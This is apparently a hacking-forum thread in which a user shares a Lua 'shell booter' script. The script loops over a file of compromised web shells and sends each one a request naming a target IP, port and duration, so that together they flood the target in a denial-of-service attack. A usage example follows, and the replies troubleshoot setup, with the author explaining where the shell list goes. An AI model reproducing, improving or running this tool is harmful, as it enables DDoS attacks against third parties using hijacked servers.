Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Lua 

DDoS.lua | Shell booter in lua

Shitty shell booter I made in lua
Code
local Shells = {}
local ShellList = "Shells.txt"
http = require("socket.http")
local function FileToTable(file, tablen)
    if(file ~= nil and tablen ~= nil) then
        fr = assert(io.open(file, "r"))
        for line in fr:lines() do
            table.insert(tablen, line)
        end
        fr:close()
    else
        io.write("FileToTable failed: Empty parameter(s)\n")
        return false
    end
end
local function DDoS(ip, port, atime)
    io.write("Launching attack against " .. ip .. ":" .. port .. " for " .. atime .. " Seconds.")
    for k,v in pairs(Shells) do
        http.request(v .. "?host=" .. ip .."&port=" .. port .. "&time=" .. atime)
    end
end
FileToTable(ShellList, Shells)
DDoS(arg[1], arg[2], arg[3])
DDoS 192.168.1.1 80 120
File Ip Port Time
(Aug 24, 2012 04:53 PM)01871717 Wrote:  Shitty shell booter I made in lua
Agreed

Though I don't even code LUA.
(Aug 26, 2012 12:05 AM)bot.mc Wrote:  Agreed

Though I don't even code LUA.
How would you know that it's shitty?
Would be better if I used threading though.
I am getting an error saying I need socket.html and io is null.
I don't know shit about lua.
(Aug 31, 2012 06:05 PM)Night-Hawk Wrote:  I am getting an error saying I need socket.html and io is null.
I don't know shit about lua.
Create Shells.txt and put your shells in it, that will fix the io error.
And the socket.http error can be fixed by updating lua, As the new versions come with sockets.
(Sep 1, 2012 10:44 AM)01871717 Wrote:  Create Shells.txt and put your shells in it, that will fix the io error.
And the socket.http error can be fixed by updating lua, As the new versions come with sockets.

Where do the shells go? I had them in the same directory as the lua file and the root directory.
(Sep 1, 2012 08:09 PM)Night-Hawk Wrote:  Where do the shells go? I had them in the same directory as the lua file and the root directory.
Same dir should work, if not edit the path or replace my shitty way of reading files.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Lua] by Toph BeifongMay 7, 2025 07:19 PM 13 658 May 7, 2025 07:19 PM
Last Post: Phantom_NiNja
[Lua] by EthorbitDec 19, 2015 12:48 PM 7 482 Dec 19, 2015 12:48 PM
Last Post: Im Friendly
[Lua] by 'An0nyJun 22, 2013 07:55 PM 7 666 Jun 22, 2013 07:55 PM
Last Post: _vmt